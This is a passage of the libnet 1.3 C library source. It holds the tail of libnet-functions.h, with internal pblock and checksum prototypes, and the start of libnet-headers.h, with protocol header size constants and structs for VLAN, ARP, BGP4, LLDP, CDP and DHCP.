* Prints the contents of every pblock. * @param l pointer to a libnet context */ LIBNET_API void libnet_diag_dump_pblock(libnet_t *l); /** * [Diagnostic] * Returns the canonical name of the pblock type. * @param type pblock type * @return a string representing the pblock type type * @retval "unknown" for an unknown value */ LIBNET_API char * libnet_diag_dump_pblock_type(uint8_t type); /** * [Diagnostic] * Function prints the contents of the supplied buffer to the supplied * stream pointer. Will swap endianness based disposition of mode variable. * Useful to be used in conjunction with the advanced interface and a culled * packet. * @param packet the packet to print * @param len length of the packet in bytes * @param swap 1 to swap byte order, 0 to not. * Counter-intuitively, it is necessary to swap in order to see the byte * order as it is on the wire (this may be a bug). * @param stream a stream pointer to print to */ void libnet_diag_dump_hex(const uint8_t *packet, uint32_t len, int swap, FILE *stream); /* * [Internal] */ LIBNET_API int libnet_write_raw_ipv4(libnet_t *l, const uint8_t *packet, uint32_t size); /* * [Internal] */ LIBNET_API int libnet_write_raw_ipv6(libnet_t *l, const uint8_t *packet, uint32_t size); /* * [Internal] */ LIBNET_API int libnet_write_link(libnet_t *l, const uint8_t *packet, uint32_t size); /* * [Internal] */ int libnet_open_raw4(libnet_t *l); /* * [Internal] */ LIBNET_API int libnet_close_raw4(libnet_t *l); /* * [Internal] */ int libnet_open_raw6(libnet_t *l); /* * [Internal] */ int libnet_close_raw6(libnet_t *l); /* * [Internal] */ int libnet_select_device(libnet_t *l); /* * [Internal] */ int libnet_open_link(libnet_t *l); /* * [Internal] */ int libnet_close_link(libnet_t *l); /* * [Internal] * THIS FUNCTION IS BROKEN. IT WILL SEGFAULT OR CORRUPT MEMORY, OR JUST SILENTLY DO THE * WRONG THING IF NOT CALLED CORRECTLY, AND CALLING IT CORRECTLY IS UNDOCUMENTED, AND * ALMOST IMPOSSIBLE. YOU HAVE BEEN WARNED. */ int libnet_do_checksum(libnet_t *l, uint8_t *iphdr, int protocol, int h_len); /* Calculate internet checksums. * * IP (TCP, UDP, IGMP, ICMP, etc...) checksums usually need information from * the IP header to construct the "pseudo header", this function takes a * pointer to that header, the buffer boundaries, the "h_len" (see pblock_t for * a description, it is increasingly unused, though, and I'm trying to remove it * altogether), and the protocol number for the protocol that is to be * checksummed. * * Finding that protocol requires that the IP header be well-formed... so this * won't work well for invalid packets. But then, what is the valid checksum * for a invalid packet, anyhow? * * This doesn't work well for non-inet checksums, sorry, that's an original design * flaw. pblock_t needs a pointer in it, to a packet assembly function that can be * called at runtime to do assembly and checksumming. */ LIBNET_API int libnet_inet_checksum(libnet_t *l, uint8_t *iphdr, int protocol, int h_len, const uint8_t *beg, const uint8_t * end); /* * [Internal] */ LIBNET_API uint32_t libnet_compute_crc(uint8_t *buf, uint32_t len); /* * [Internal] */ LIBNET_API uint16_t libnet_ip_check(uint16_t *addr, int len); /* * [Internal] */ LIBNET_API int libnet_in_cksum(uint16_t *addr, int len); /* * [Internal] * If ptag is 0, function will create a pblock for the protocol unit type, * append it to the list and return a pointer to it. If ptag is not 0, * function will search the pblock list for the specified protocol block * and return a pointer to it. */ LIBNET_API libnet_pblock_t * libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, uint32_t b_len, uint8_t type); /* * [Internal] * Function creates the pblock list if l->protocol_blocks == NULL or appends * an entry to the doubly linked list. */ LIBNET_API libnet_pblock_t * libnet_pblock_new(libnet_t *l, uint32_t b_len); /* * [Internal] * Function swaps two pblocks in memory. */ LIBNET_API int libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2); /* * [Internal] * Function inserts ptag2 before ptag1 in the doubly linked list. */ LIBNET_API int libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2); /* * [Internal] * Function removes a pblock from context */ LIBNET_API void libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p); /* * [Internal] * Function updates the pblock meta-information. Internally it updates the * ptag with a monotonically increasing variable kept in l. This way each * pblock has a successively increasing ptag identifier. */ LIBNET_API libnet_ptag_t libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, uint32_t h, uint8_t type); /* * [Internal] * Function locates a given block by it's ptag. */ LIBNET_API libnet_pblock_t * libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag); /* * [Internal] * Function copies protocol block data over. */ LIBNET_API int libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, const void *buf, uint32_t len); /* * [Internal] * Function sets pblock flags. */ LIBNET_API void libnet_pblock_setflags(libnet_pblock_t *p, uint8_t flags); /* * [Internal] * Function returns the protocol number for the protocol block type. If * the type is unknown, the function defaults to returning IPPROTO_IP. */ LIBNET_API int libnet_pblock_p2p(uint8_t type); /* * [Internal] * Function assembles the protocol blocks into a packet, checksums are * calculated if that was requested. */ LIBNET_API int libnet_pblock_coalesce(libnet_t *l, uint8_t **packet, uint32_t *size); #if !(__WIN32__) /* * [Internal] * By testing if we can retrieve the FLAGS of an interface * we can know if it exists or not and if it is up. */ int libnet_check_iface(libnet_t *l); #endif #if defined(__WIN32__) /* * [Internal] */ BYTE * libnet_win32_get_remote_mac(libnet_t *l, DWORD IP); /* * [Internal] */ int libnet_close_link_interface(libnet_t *l); /* * [Internal] */ BYTE * libnet_win32_read_arp_table(DWORD IP); #endif #endif /* __LIBNET_FUNCTIONS_H */ /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/include/libnet/libnet-headers.h0000664000175000017500000021370314506572036017023 0ustar syqsyq/* * * libnet-headers.h - Network routine library headers header file * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #ifndef __LIBNET_HEADERS_H #define __LIBNET_HEADERS_H /* * @file libnet-headers.h * @brief libnet header information */ /* * Libnet defines header sizes for every builder function exported. */ #define LIBNET_802_1Q_H 0x12 /**< 802.1Q header: 18 bytes */ #define LIBNET_802_1X_H 0x04 /**< 802.1X header: 4 bytes */ #define LIBNET_802_2_H 0x03 /**< 802.2 LLC header: 3 bytes */ #define LIBNET_802_2SNAP_H 0x08 /**< 802.2 LLC/SNAP header:8 bytes */ #define LIBNET_802_3_H 0x0e /**< 802.3 header: 14 bytes */ #define LIBNET_ARP_H 0x08 /**< ARP header w/o addrs: 8 bytes */ #define LIBNET_ARP_ETH_IP_H 0x1c /**< ARP w/ ETH and IP: 28 bytes */ #define LIBNET_BGP4_HEADER_H 0x13 /**< BGP header: 19 bytes */ #define LIBNET_BGP4_OPEN_H 0x0a /**< BGP open header: 10 bytes */ #define LIBNET_BGP4_UPDATE_H 0x04 /**< BGP open header: 4 bytes */ #define LIBNET_BGP4_NOTIFICATION_H 0x02 /**< BGP notif. header: 2 bytes */ #define LIBNET_CDP_H 0x08 /**< CDP header base: 8 bytes */ #define LIBNET_LLDP_H 0x02 /**< LLDP header base: 2 bytes */ #define LIBNET_DHCPV4_H 0xf0 /**< DHCP v4 header: 240 bytes */ #define LIBNET_UDP_DNSV4_H 0x0c /**< UDP DNS v4 header: 12 bytes */ #define LIBNET_TCP_DNSV4_H 0x0e /**< TCP DNS v4 header: 14 bytes */ #define LIBNET_ETH_H 0x0e /**< Ethernet header: 14 bytes */ #define LIBNET_FDDI_H 0x15 /**< FDDI header: 21 bytes */ #define LIBNET_ICMPV4_H 0x04 /**< ICMP header base: 4 bytes */ #define LIBNET_ICMPV4_ECHO_H 0x08 /**< ICMP_ECHO header: 8 bytes */ #define LIBNET_ICMPV4_MASK_H 0x0c /**< ICMP_MASK header: 12 bytes */ #define LIBNET_ICMPV4_UNREACH_H 0x08 /**< ICMP_UNREACH header: 8 bytes */ #define LIBNET_ICMPV4_TIMXCEED_H 0x08 /**< ICMP_TIMXCEED header: 8 bytes */ #define LIBNET_ICMPV4_REDIRECT_H 0x08 /**< ICMP_REDIRECT header: 8 bytes */ #define LIBNET_ICMPV4_TS_H 0x14 /**< ICMP_TIMESTAMP headr:20 bytes */ #define LIBNET_ICMPV6_COMMON_H 0x04 /**< ICMP6 header base: 4 bytes */ #define LIBNET_ICMPV6_H 0x08 /**< ICMP6 header base: 8 bytes (unused, for backwards compatibility) */ #define LIBNET_ICMPV6_UNREACH_H 0x08 /**< ICMP6 unreach base: 8 bytes */ #define LIBNET_ICMPV6_ECHO_H 0x08 /**< ICMP6 echo: 8 bytes */ #define LIBNET_ICMPV6_NDP_NSOL_H 24 /**< ICMP6 NDP NSOL: 24 bytes */ #define LIBNET_ICMPV6_NDP_NADV_H 24 /**< ICMP6 NDP NADV: 24 bytes */ #define LIBNET_ICMPV6_NDP_OPT_H 0x02 /**< ICMP6 NDP OPT base: 2 bytes */ #define LIBNET_IGMP_H 0x08 /**< IGMP header: 8 bytes */ #define LIBNET_IPV4_H 0x14 /**< IPv4 header: 20 bytes */ #define LIBNET_IPV6_H 0x28 /**< IPv6 header: 40 bytes */ #define LIBNET_IPV6_FRAG_H 0x08 /**< IPv6 frag header: 8 bytes */ #define LIBNET_IPV6_ROUTING_H 0x04 /**< IPv6 frag header base:4 bytes */ #define LIBNET_IPV6_DESTOPTS_H 0x02 /**< IPv6 dest opts base: 2 bytes */ #define LIBNET_IPV6_HBHOPTS_H 0x02 /**< IPv6 hop/hop opt base:2 bytes */ #define LIBNET_IPSEC_ESP_HDR_H 0x0c /**< IPSEC ESP header: 12 bytes */ #define LIBNET_IPSEC_ESP_FTR_H 0x02 /**< IPSEC ESP footer: 2 bytes */ #define LIBNET_IPSEC_AH_H 0x10 /**< IPSEC AH header: 16 bytes */ #define LIBNET_ISL_H 0x1a /**< ISL header: 26 bytes */ #define LIBNET_GRE_H 0x04 /**< GRE header: 4 bytes */ #define LIBNET_GRE_SRE_H 0x04 /**< GRE SRE header: 4 bytes */ #define LIBNET_MPLS_H 0x04 /**< MPLS header: 4 bytes */ #define LIBNET_OSPF_H 0x10 /**< OSPF header: 16 bytes */ #define LIBNET_OSPF_HELLO_H 0x18 /**< OSPF hello header: 24 bytes */ #define LIBNET_OSPF_DBD_H 0x08 /**< OSPF DBD header: 8 bytes */ #define LIBNET_OSPF_LSR_H 0x0c /**< OSPF LSR header: 12 bytes */ #define LIBNET_OSPF_LSU_H 0x04 /**< OSPF LSU header: 4 bytes */ #define LIBNET_OSPF_LSA_H 0x14 /**< OSPF LSA header: 20 bytes */ #define LIBNET_OSPF_AUTH_H 0x08 /**< OSPF AUTH header: 8 bytes */ #define LIBNET_OSPF_CKSUM 0x10 /**< OSPF CKSUM header: 16 bytes */ #define LIBNET_OSPF_LS_RTR_H 0x10 /**< OSPF LS RTR header: 16 bytes */ #define LIBNET_OSPF_LS_NET_H 0x08 /**< OSPF LS NET header: 8 bytes */ #define LIBNET_OSPF_LS_SUM_H 0x0c /**< OSPF LS SUM header: 12 bytes */ #define LIBNET_OSPF_LS_AS_EXT_H 0x10 /**< OSPF LS AS header: 16 bytes */ #define LIBNET_NTP_H 0x30 /**< NTP header: 48 bytes */ #define LIBNET_RIP_H 0x18 /**< RIP header base: 24 bytes */ #define LIBNET_RPC_CALL_H 0x28 /**< RPC header: 40 bytes * (assuming 8 byte auth header) */ #define LIBNET_RPC_CALL_TCP_H 0x2c /**< RPC header: 44 bytes * (with record marking) */ #define LIBNET_SEBEK_H 0x30 /* sebek header: 48 bytes */ #define LIBNET_STP_CONF_H 0x23 /**< STP conf header: 35 bytes */ #define LIBNET_STP_TCN_H 0x04 /**< STP tcn header: 4 bytes */ #define LIBNET_UDLD_H 0x04 /**< UDLD header: 4 bytes */ #define LIBNET_TOKEN_RING_H 0x16 /**< Token Ring header: 22 bytes */ #define LIBNET_TCP_H 0x14 /**< TCP header: 20 bytes */ #define LIBNET_UDP_H 0x08 /**< UDP header: 8 bytes */ #define LIBNET_VRRP_H 0x08 /**< VRRP header: 8 bytes */ #define LIBNET_HSRP_H 0x14 /**< HSRP header: 8 bytes */ /* * IEEE 802.1Q (Virtual Local Area Network) VLAN header, static header * size: 18 bytes */ struct libnet_802_1q_hdr { uint8_t vlan_dhost[ETHER_ADDR_LEN]; /**< destination ethernet address */ uint8_t vlan_shost[ETHER_ADDR_LEN]; /**< source ethernet address */ uint16_t vlan_tpi; /**< tag protocol ID */ uint16_t vlan_priority_c_vid; /**< priority | VLAN ID */ #define LIBNET_802_1Q_PRIMASK 0x0007 /**< priority mask */ #define LIBNET_802_1Q_CFIMASK 0x0001 /**< CFI mask */ #define LIBNET_802_1Q_VIDMASK 0x0fff /**< vid mask */ uint16_t vlan_len; /**< length or type (802.3 / Eth 2) */ }; /* * IEEE 802.1X EAP (Extensible Authentication Protocol) header, static header * size: 4 bytes */ struct libnet_802_1x_hdr { uint8_t dot1x_version; /**< protocol version */ uint8_t dot1x_type; /**< frame type */ #define LIBNET_802_1X_PACKET 0x00 /**< 802.1x packet */ #define LIBNET_802_1X_START 0x01 /**< 802.1x start */ #define LIBNET_802_1X_LOGOFF 0x02 /**< 802.1x logoff */ #define LIBNET_802_1X_KEY 0x03 /**< 802.1x key */ #define LIBNET_802_1X_ENCASFAL 0x04 /**< 802.1x encasfal */ uint16_t dot1x_length; /**< total frame length */ }; /* * IEEE 802.2 LLC header * Link Layer Control * static header size: 3 bytes */ struct libnet_802_2_hdr { uint8_t llc_dsap; /* destination service access point */ uint8_t llc_ssap; /* source service access point */ #define LIBNET_SAP_STP 0x42 #define LIBNET_SAP_SNAP 0xaa uint8_t llc_control; /* control field */ }; /* * IEEE 802.2 LLC/SNAP header * SubNetwork Attachment Point * static header size: 8 bytes */ struct libnet_802_2snap_hdr { uint8_t snap_dsap; /* destination service access point */ uint8_t snap_ssap; /* destination service access point */ uint8_t snap_control; /* control field */ uint8_t snap_oui[3]; /* OUI */ uint16_t snap_type; /* type */ }; /* * 802.3 header * IEEE Ethernet * Static header size: 14 bytes */ struct libnet_802_3_hdr { uint8_t _802_3_dhost[ETHER_ADDR_LEN];/* destination ethernet address */ uint8_t _802_3_shost[ETHER_ADDR_LEN];/* source ethernet address */ uint16_t _802_3_len; /* packet type ID */ }; /* * ARP header * Address Resolution Protocol * Base header size: 8 bytes */ struct libnet_arp_hdr { uint16_t ar_hrd; /* format of hardware address */ #define ARPHRD_NETROM 0 /* from KA9Q: NET/ROM pseudo */ #define ARPHRD_ETHER 1 /* Ethernet 10Mbps */ #define ARPHRD_EETHER 2 /* Experimental Ethernet */ #define ARPHRD_AX25 3 /* AX.25 Level 2 */ #define ARPHRD_PRONET 4 /* PROnet token ring */ #define ARPHRD_CHAOS 5 /* Chaosnet */ #define ARPHRD_IEEE802 6 /* IEEE 802.2 Ethernet/TR/TB */ #define ARPHRD_ARCNET 7 /* ARCnet */ #define ARPHRD_APPLETLK 8 /* APPLEtalk */ #define ARPHRD_LANSTAR 9 /* Lanstar */ #define ARPHRD_DLCI 15 /* Frame Relay DLCI */ #define ARPHRD_ATM 19 /* ATM */ #define ARPHRD_METRICOM 23 /* Metricom STRIP (new IANA id) */ #define ARPHRD_IPSEC 31 /* IPsec tunnel */ uint16_t ar_pro; /* format of protocol address */ uint8_t ar_hln; /* length of hardware address */ uint8_t ar_pln; /* length of protocol address */ uint16_t ar_op; /* operation type */ #define ARPOP_REQUEST 1 /* req to resolve address */ #define ARPOP_REPLY 2 /* resp to previous request */ #define ARPOP_REVREQUEST 3 /* req protocol address given hardware */ #define ARPOP_REVREPLY 4 /* resp giving protocol address */ #define ARPOP_INVREQUEST 8 /* req to identify peer */ #define ARPOP_INVREPLY 9 /* resp identifying peer */ /* address information allocated dynamically */ }; /* * BGP4 header * Border Gateway Protocol 4 * Base header size : 19 bytes */ struct libnet_bgp4_header_hdr { #define LIBNET_BGP4_MARKER_SIZE 16 uint8_t marker[LIBNET_BGP4_MARKER_SIZE]; uint16_t len; uint8_t type; #define LIBNET_BGP4_OPEN 1 #define LIBNET_BGP4_UPDATE 2 #define LIBNET_BGP4_NOTIFICATION 3 #define LIBNET_BGP4_KEEPALIVE 4 }; /* * BGP4 open header * Border Gateway Protocol 4 * Base header size : 10 bytes */ struct libnet_bgp4_open_hdr { uint8_t version; uint16_t src_as; uint16_t hold_time; uint32_t bgp_id; uint8_t opt_len; }; /* * BGP4 notification message * * Border Gateway Protocol 4 * Base header size : 2 bytes * * Use payload if you need data */ struct libnet_bgp4_notification_hdr { #define LIBNET_BGP4_MESSAGE_HEADER_ERROR 1 #define LIBNET_BGP4_OPEN_MESSAGE_ERROR 2 #define LIBNET_BGP4_UPDATE_MESSAGE_ERROR 3 #define LIBNET_BGP4_HOLD_TIMER_EXPIRED 4 #define LIBNET_BGP4_FINITE_STATE__ERROR 5 #define LIBNET_BGP4_CEASE 6 uint8_t err_code; /* Message Header Error subcodes */ #define LIBNET_BGP4_CONNECTION_NOT_SYNCHRONIZED 1 #define LIBNET_BGP4_BAD_MESSAGE_LENGTH 2 #define LIBNET_BGP4_BAD_MESSAGE_TYPE 3 /* OPEN Message Error subcodes */ #define LIBNET_BGP4_UNSUPPORTED_VERSION_NUMBER 1 #define LIBNET_BGP4_BAD_PEER_AS 2 #define LIBNET_BGP4_BAD_BGP_IDENTIFIER 3 #define LIBNET_BGP4_UNSUPPORTED_OPTIONAL_PARAMETER 4 #define LIBNET_BGP4_AUTHENTICATION_FAILURE 5 #define LIBNET_BGP4_UNACCEPTABLE_HOLD_TIME 6 /* UPDATE Message Error subcodes */ #define LIBNET_BGP4_MALFORMED_ATTRIBUTE_LIST #define LIBNET_BGP4_UNRECOGNIZED_WELL_KNOWN_ATTRIBUTE #define LIBNET_BGP4_MISSING_WELL_KNOWN_ATTRIBUTE #define LIBNET_BGP4_ATTRIBUTE_FLAGS_ERROR #define LIBNET_BGP4_ATTRIBUTE_LENGTH_ERROR #define LIBNET_BGP4_INVALID_ORIGIN_ATTRIBUTE #define LIBNET_BGP4_AS_ROUTING_LOOP #define LIBNET_BGP4_INVALID_NEXT_HOP_ATTRIBUTE #define LIBNET_BGP4_OPTIONAL_ATTRIBUTE_ERROR #define LIBNET_BGP4_INVALID_NETWORK_FIELD #define LIBNET_BGP4_MALFORMED_AS_PATH uint8_t err_subcode; }; /* * LLDP header * Link Layer Discovery Protocol * Base header size : 2 bytes */ struct libnet_lldp_hdr { #define LIBNET_LLDP_ETH_TYPE (0x88cc) /* LLDP Ethernet type */ #define LIBNET_LLDP_TLV_HDR_SIZE 0x02 /* LLDP TLV's header size 2 bytes */ #define LIBNET_LLDP_SUBTYPE_SIZE 0x01 /* LLDP Subtype field size 2 bytes */ uint16_t tlv_info; /* Type = 7 bits, Length = 9 bits */ /* Mandatory TLVs Types */ #define LIBNET_LLDP_END_LLDPDU 0x00 /* End of LLDPDU (Mandatory) */ #define LIBNET_LLDP_CHASSIS_ID 0x01 /* Chassis ID (Mandatory) */ #define LIBNET_LLDP_CHASSIS_ID_SUBTYPE_RESERVED 0x00 #define LIBNET_LLDP_CHASSIS_ID_SUBTYPE_COMPONENT 0x01 /* Chassis Component */ #define LIBNET_LLDP_CHASSIS_ID_SUBTYPE_IF_ALIAS 0x02 /* Interface Alias */ #define LIBNET_LLDP_CHASSIS_ID_SUBTYPE_PORT 0x03 /* Port Component */ #define LIBNET_LLDP_CHASSIS_ID_SUBTYPE_MAC 0x04 /* MAC Address */ #define LIBNET_LLDP_CHASSIS_ID_SUBTYPE_NETWORK 0x05 /* Network Address */ #define LIBNET_LLDP_CHASSIS_ID_SUBTYPE_IF_NAME 0x06 /* Interface Name */ #define LIBNET_LLDP_CHASSIS_ID_SUBTYPE_LOCALLY 0x07 /* Locally Assigned */ #define LIBNET_LLDP_PORT_ID 0x02 /* Port ID (Mandatory) */ #define LIBNET_LLDP_PORT_ID_SUBTYPE_RESERVED 0x00 #define LIBNET_LLDP_PORT_ID_SUBTYPE_IF_ALIAS 0x01 /* Interface Alias */ #define LIBNET_LLDP_PORT_ID_SUBTYPE_MAC 0x03 /* MAC Address */ #define LIBNET_LLDP_PORT_ID_SUBTYPE_NETWORK 0x04 /* Network Address */ #define LIBNET_LLDP_PORT_ID_SUBTYPE_IF_NAME 0x05 /* Interface Name */ #define LIBNET_LLDP_PORT_ID_SUBTYPE_AGENT_ID 0x06 /* Agent circuit ID */ #define LIBNET_LLDP_PORT_ID_SUBTYPE_LOCALLY 0x07 /* Locally Assigned */ /* 8 - 255 Reserved */ #define LIBNET_LLDP_TTL 0x03 /* Time To Live (Mandatory) */ /* Optional TLVs Types */ /* Organization Specific TLV */ #define LIBNET_LLDP_ORG_SPEC 0x7f /* Organizationally Specific TLV type = 127 */ #define LIBNET_LLDP_IEEE802_1 0x0080c2 /* IEEE 802.1 */ #define LIBNET_LLDP_IEEE802_1_SUB_PORT_VLAN_ID 0x01 /* IEEE 802.1 Port VLAN ID TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_PORT_PROTO 0x02 /* IEEE 802.1 Port and Protocol VLAN ID TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_VLAN_NAME 0x03 /* IEEE 802.1 VLAN Name TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_PROTO_ID 0x04 /* IEEE 802.1 Protocol Identity TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_VID_USAGE 0x05 /* IEEE 802.1 VID Usage Digest TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_MNGMNT_VID 0x06 /* IEEE 802.1 Management VID TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_LINK_AGGR 0x07 /* IEEE 802.1 Link Aggregation TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_CONG_NOTIF 0x08 /* IEEE 802.1 Congestion Notification TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_ETS_CONFIG 0x09 /* IEEE 802.1 ETS Configuration TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_ETS_RECOM 0x0a /* IEEE 802.1 ETC Recommendation TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_PRIORITY 0x0b /* IEEE 802.1 Priority-based Flow Control Configuration TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_APP_PRIORITY 0x0c /* IEEE 802.1 Application Pririty TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_EVB 0x0d /* IEEE 802.1 EVB TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_CDCP 0x0e /* IEEE 802.1 CDCP TLV Subtype */ #define LIBNET_LLDP_IEEE802_1_SUB_PORT_EXTNSN 0x0f /* IEEE 802.1 Port Extension TLV Subtype */ #define LIBNET_LLDP_IEEE802_3 0x00120f /* IEEE 802.3 */ #define LIBNET_LLDP_IEEE802_3_SUB_MAC_PHY 0x01 /* IEEE802.3 MAC/PHY Configuration/Status TLV Subtype */ #define LIBNET_LLDP_IEEE802_3_SUB_POWER 0x02 /* IEEE802.3 Power Via MDI TLV Subtype */ #define LIBNET_LLDP_IEEE802_3_SUB_LINK_AGGR 0x03 /* IEEE802.3 Link Aggregation TLV Subtype */ #define LIBNET_LLDP_IEEE802_3_SUB_MAX_FRAME_SIZE 0x04 /* IEEE802.3 Maximum Frame Size TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41 0x0012bb /* TIA TR-41 Committee - Media Endpoint Discovery (LLDP-MED, ANSI/TIA-1057) */ #define LIBNET_LLDP_TIA_TR_41_SUB_CAPAB 0x01 /* TIA TR-41 Committee LLDP-MED Capabilities TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_NET_POLIC 0x02 /* TIA TR-41 Committee Network Policy TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_LOCAL_ID 0x03 /* TIA TR-41 Committee Local Identification TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_EXT_POWER 0x04 /* TIA TR-41 Committee Extended Power-via-MDI TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_INV_HRDWR_REV 0x05 /* TIA TR-41 Committee Inventory - Hardware Revision TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_INV_FRMWR_REV 0x06 /* TIA TR-41 Committee Inventory - Firmware Revision TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_INV_SFTWR_REV 0x07 /* TIA TR-41 Committee Inventory - Inventory - Software Revision TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_INV_SERIAL_NUM 0x08 /* TIA TR-41 Committee Inventory - Serial Number TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_INV_MAN_NAME 0x09 /* TIA TR-41 Committee Inventory - Manufacturer Name TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_INV_MOD_NAME 0x0a /* TIA TR-41 Committee Inventory - Model Name TLV Subtype */ #define LIBNET_LLDP_TIA_TR_41_SUB_INV_ASSET_ID 0x0b /* TIA TR-41 Committee Inventory - Asset ID TLV Subtype */ #define LIBNET_LLDP_PROFIBUS 0x000ecf /* PROFIBUS International (PNO) Extension for PROFINET discovery information */ #define LIBNET_LLDP_PROFIBUS_DELAY_VALS 0x01 /* PROFINET Measured Delay Values TLV Subtype */ #define LIBNET_LLDP_PROFIBUS_PORT_STATUS 0x02 /* PROFINET Measured Port Status TLV Subtype */ #define LIBNET_LLDP_PROFIBUS_ALIAS 0x03 /* PROFINET Alias TLV Subtype */ #define LIBNET_LLDP_PROFIBUS_MRP_PORT_STAT 0x04 /* PROFINET MRP Port Status TLV Subtype */ #define LIBNET_LLDP_PROFIBUS_CHASSIS_MAC 0x05 /* PROFINET Chassis MAC TLV Subtype */ #define LIBNET_LLDP_PROFIBUS_PTC_STATUS 0x06 /* PROFINET PTC Status TLV Subtype */ #define LIBNET_LLDP_HYTEC 0x30b216 /* Hytec Geraetebau GmbH Extensions */ #define LIBNET_LLDP_HYTEC_TRANS 0x01 /* Hytec Transceiver TLV Subtype */ #define LIBNET_LLDP_HYTEC_TRACE 0x02 /* Hytec Trace TLV Subtype */ }; /* * For checksum stuff -- IANA says 135-254 is "unassigned" as of 12.2001. * Let's hope this one stays that way for a while! */ #define LIBNET_PROTO_CDP 200 /* * CDP header * Cisco Discovery Protocol * Base header size: 8 bytes */ struct libnet_cdp_hdr { uint8_t cdp_version; /* version (should always be 0x01) */ uint8_t cdp_ttl; /* time receiver should hold info in this packet */ uint16_t cdp_sum; /* checksum */ uint16_t cdp_type; /* type */ #define LIBNET_CDP_DEVID 0x1 /* device id */ #define LIBNET_CDP_ADDRESS 0x2 /* address */ #define LIBNET_CDP_PORTID 0x3 /* port id */ #define LIBNET_CDP_CAPABIL 0x4 /* capabilities */ #define LIBNET_CDP_VERSION 0x5 /* version */ #define LIBNET_CDP_PLATFORM 0x6 /* platform */ #define LIBNET_CDP_IPPREFIX 0x7 /* ip prefix */ uint16_t cdp_len; /* type + length + value */ /* value information done dynamically */ /* CDP capabilities */ #define LIBNET_CDP_CAP_L3R 0x01/* performs level 3 routing */ #define LIBNET_CDP_CAP_L2B 0x02/* performs level 2 transparent bridging */ #define LIBNET_CDP_CAP_L2SRB 0x04/* performs level 2 sourceroute bridging */ #define LIBNET_CDP_CAP_L2S 0x08/* performs level 2 switching */ #define LIBNET_CDP_CAP_SR 0x10/* sends and recieves packets on a network */ #define LIBNET_CDP_CAP_NOI 0x20/* does not forward IGMP on non-router ports */ #define LIBNET_CDP_CAP_L1F 0x40/* provides level 1 functionality */ }; /* * Used as an overlay for type/len/values */ #define LIBNET_CDP_VALUE_H 0x04 /*< CDP value header base: 4 bytes */ struct libnet_cdp_value_hdr { uint16_t cdp_type; uint16_t cdp_len; }; /* * DHCP header * Dynamic Host Configuration Protocol * Static header size: f0 bytes */ struct libnet_dhcpv4_hdr { uint8_t dhcp_opcode; /* opcode */ #define LIBNET_DHCP_REQUEST 0x1 #define LIBNET_DHCP_REPLY 0x2 uint8_t dhcp_htype; /* hardware address type */ uint8_t dhcp_hlen; /* hardware address length */ uint8_t dhcp_hopcount; /* used by proxy servers */ uint32_t dhcp_xid; /* transaction ID */ uint16_t dhcp_secs; /* number of seconds since trying to bootstrap */ uint16_t dhcp_flags; /* flags for DHCP, unused for BOOTP */ uint32_t dhcp_cip; /* client's IP */ uint32_t dhcp_yip; /* your IP */ uint32_t dhcp_sip; /* server's IP */ uint32_t dhcp_gip; /* gateway IP */ uint8_t dhcp_chaddr[16]; /* client hardware address, len is dhcp_hlen */ char dhcp_sname[64]; /* server host name, null terminated string */ char dhcp_file[128]; /* boot file name, null terminated string */ uint32_t dhcp_magic; /* BOOTP magic header */ #define DHCP_MAGIC 0x63825363 #define LIBNET_BOOTP_MIN_LEN 